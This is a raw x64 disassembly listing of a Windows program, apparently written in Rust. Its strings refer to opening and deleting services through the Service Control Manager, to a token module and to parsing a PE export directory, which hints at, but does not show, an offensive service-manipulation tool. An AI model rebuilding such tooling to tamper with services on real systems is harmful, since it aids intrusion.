call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rax, [rsp + 0x360]
mov qword [rsp + 0xa0], rax
lea r12, [0x140014a50]
mov qword [rsp + 0xa8], r12
lea rax, [0x140046ad8]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov r15, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rbp, 0xff
mov eax, 0xff
cmovb rax, rbp
test rbp, rbp
je 0x14000f96a
lea rcx, [rax - 1]
cmp rbp, rcx
cmovb rcx, rbp
inc rcx
cmp rcx, 0x11
jae 0x14000f8e1
xor ecx, ecx
mov rdx, r15
mov r8, rax
jmp 0x14000f938
lea rcx, [rsp + 0x1a0]
mov r8d, 0x1b0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x1400455d0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045e20]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045e30]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045e40]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x140045e50]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rax, str.Failed_to_open_Service_Control_Manager.Opening_service:
mov ecx, 0x27
jmp 0x140010022
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [r15 + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop
movq xmm1, qword [r15 + r8]
movq xmm2, qword [r15 + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000f900
mov r8, rax
sub r8, rcx
add rbp, r15
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rbp
je 0x14000f96a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000f950
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000f99f
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x360]
mov rcx, r14
mov r8d, 0x10020
call rbx
test rax, rax
je 0x14000fa91
mov rbx, rax
lea rax, [rsp + 0x360]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], r12
lea rax, [0x140046b48]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov r14, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp r15, 0xff
mov eax, 0xff
cmovb rax, r15
test r15, r15
je 0x14000fbfa
lea rcx, [rax - 1]
cmp r15, rcx
cmovb rcx, r15
inc rcx
cmp rcx, 0x11
jae 0x14000fb64
xor ecx, ecx
mov rdx, r14
mov r8, rax
jmp 0x14000fbc8
lea rax, [rsp + 0x360]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], r12
lea rax, str.Failed_to_open_service:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xff
mov eax, 0xff
cmovb rax, rdi
test rdi, rdi
je 0x14000ffe1
lea rcx, [rax - 1]
cmp rdi, rcx
cmovb rcx, rdi
inc rcx
cmp rcx, 0x11
jae 0x14000ff61
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000ffb6
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [r14 + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop word cs:[rax + rax]
movq xmm1, qword [r14 + r8]
movq xmm2, qword [r14 + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000fb90
mov r8, rax
sub r8, rcx
add r15, r14
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, r15
je 0x14000fbfa
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000fbe0
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000fc2f
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xec], xmm0
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x194]
mov r8d, 0x1bc
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmm6, xmmword [0x140045cf0]
movdqa xmmword [rsp + 0x150], xmm6
movaps xmm0, xmmword [0x140045d00]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045d10]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045d20]
movaps xmmword [rsp + 0x180], xmm0
mov dword [rsp + 0x190], 0x2e
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea r8, [rsp + 0xe0]
mov rcx, rbx
mov edx, 1
call rdi
movabs rdi, 0x79006c006c0075
test eax, eax
je 0x14000fd24
lea rcx, [rsp + 0x18c]
mov r8d, 0x1c4
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rsp + 0x150], xmm7
movaps xmm0, xmmword [0x140045d30]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045d40]
movaps xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], rdi
mov dword [rsp + 0x188], 0x2e
jmp 0x14000fda8
lea rcx, [rsp + 0x1b6]
mov r8d, 0x19a
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x1400455d0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045d50]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045d60]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045d70]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140045d80]
movaps xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x140045d90]
movaps xmmword [rsp + 0x1a0], xmm0
mov dword [rsp + 0x1b0], 0x2e0067
mov word [rsp + 0x1b4], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x198]
mov r8d, 0x1b8
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmmword [rsp + 0x150], xmm6
movaps xmm0, xmmword [0x140045da0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045db0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm8
mov qword [rsp + 0x190], r13
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
mov rcx, rbx
call rsi
test eax, eax
je 0x14000fef9
lea rcx, [rsp + 0x18c]
mov r8d, 0x1c4
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rsp + 0x150], xmm7
movaps xmm0, xmmword [0x140045dc0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045d40]
movaps xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], rdi
mov dword [rsp + 0x188], 0x2e
lea rcx, [rsp + 0x150]
mov rsi, qword [sym.imp.kernel32.dll_OutputDebugStringW]
call rsi
lea rcx, [rsp + 0x1a8]
mov r8d, 0x1a8
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rsp + 0x150], xmm7
movaps xmm0, xmmword [0x140045dd0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045de0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045df0]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x140045e00]
movdqa xmmword [rsp + 0x190], xmm0
movabs rax, 0x2e0079006c
mov qword [rsp + 0x1a0], rax
lea rcx, [rsp + 0x150]
call rsi
jmp 0x1400101cf
lea rcx, [rsp + 0x184]
mov r8d, 0x1cc
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x1400455d0]
movaps xmmword [rsp + 0x150], xmm0
movdqa xmm0, xmmword [0x140045e10]
movdqa xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm8
mov dword [rsp + 0x180], 0x2e
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rax, str.Failed_to_delete_service.Number_of_names_in_export_directory:
mov ecx, 0x19
jmp 0x140010022
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000ff7e
mov r8, rax
sub r8, rcx
add rdi, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
lea r10, [rdx + r9]
cmp r10, rdi
je 0x14000ffe1
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000ffc7
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x140010016
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.Failed_to_open_service.Successfully_opened_service:
mov ecx, 0x17
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], rcx
lea rax, [rsp + 0x360]
mov qword [rsp + 0xa0], rax
lea rax, [0x140014a50]
mov qword [rsp + 0xa8], rax
lea rax, str.Service_interaction_failed:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xff
mov eax, 0xff
cmovb rax, rdi
test rdi, rdi
je 0x14001019a
lea rcx, [rax - 1]
cmp rdi, rcx
cmovb rcx, rdi
inc rcx
cmp rcx, 0x11
jae 0x140010105
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x140010168
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop word cs:[rax + rax]
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x140010130
mov r8, rax
sub r8, rcx
add rdi, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rdi
je 0x14001019a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x140010180
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x1400101cf
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x60], 0
je 0x1400101eb
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
jmp 0x14000e844
add r10, r15
cmp rdx, r10
cmova r10, rdx
lea r8, [0x14004b958]
mov rcx, r10
call fcn.1400432cf
lea r8, [0x14004b928]
mov rdx, rax
call fcn.1400432cf
lea rcx, [rsp + 0xa0]
call fcn.140001380
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x398]
call fcn.140001d70
mov rax, qword [rsp + 0x470]
neg rax
jo 0x14001026c
jae 0x14001026c
mov r8, qword [rsp + 0x478]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x360]
call fcn.140001380
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], r12
jmp 0x14000f2ac
lea rax, [0x14004c328]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8, r10
mov r9, r13
call fcn.1400437b0
lea rax, [0x140047078]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x58]
mov r8, r14
call fcn.1400437b0
add rcx, rax
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], r14
mov qword [rsp + 0x168], rcx
lea rax, [0x140048658]
mov qword [rsp + 0x20], rax
lea rcx, str.CString::new_failedsrc_token.rs
lea r9, [0x1400481c0]
lea r8, [rsp + 0x150]
mov edx, 0x13
call fcn.1400435c0
xor ecx, ecx
mov rdx, qword [rsp + 0x450]
call fcn.14004318e
lea rax, [0x140047060]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x58]
mov r8, r14
mov r9, rdx
call fcn.1400437b0
mov ecx, 1
mov rdx, r15
call fcn.14004318e
lea rax, [0x140047048]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400460a0]
lea r8, [rsp + 0x150]
mov edx, 0x2b
call fcn.1400435c0
lea rcx, str.alloc_src_ffic_str.rs
call fcn.1400436c0
call fcn.1400187b0
mov ecx, 1
mov rdx, rbx
call fcn.14004318e
lea rax, [0x140047090]
jmp 0x140010332
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x140046130]
jmp 0x14001043a
lea rcx, [0x140046148]
call fcn.1400436c0
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x140046198]
jmp 0x14001043a
lea rcx, [0x1400461b0]
call fcn.1400436c0
lea rax, [0x140047ab0]
jmp 0x140010363
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x60], xmm0
lea rax, [0x1400461e0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400460c0]
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.1400435c0
lea rcx, [0x1400461f8]
call fcn.1400436c0
mov ecx, 1
mov edx, 0xa
call fcn.14004318e
mov ecx, 1
mov edx, 7
call fcn.14004318e
xor ecx, ecx
mov rdx, r12
call fcn.14004318e
mov ecx, 1
mov edx, 0x41
call fcn.14004318e
mov ecx, 1
mov rdx, r12
call fcn.14004318e
int3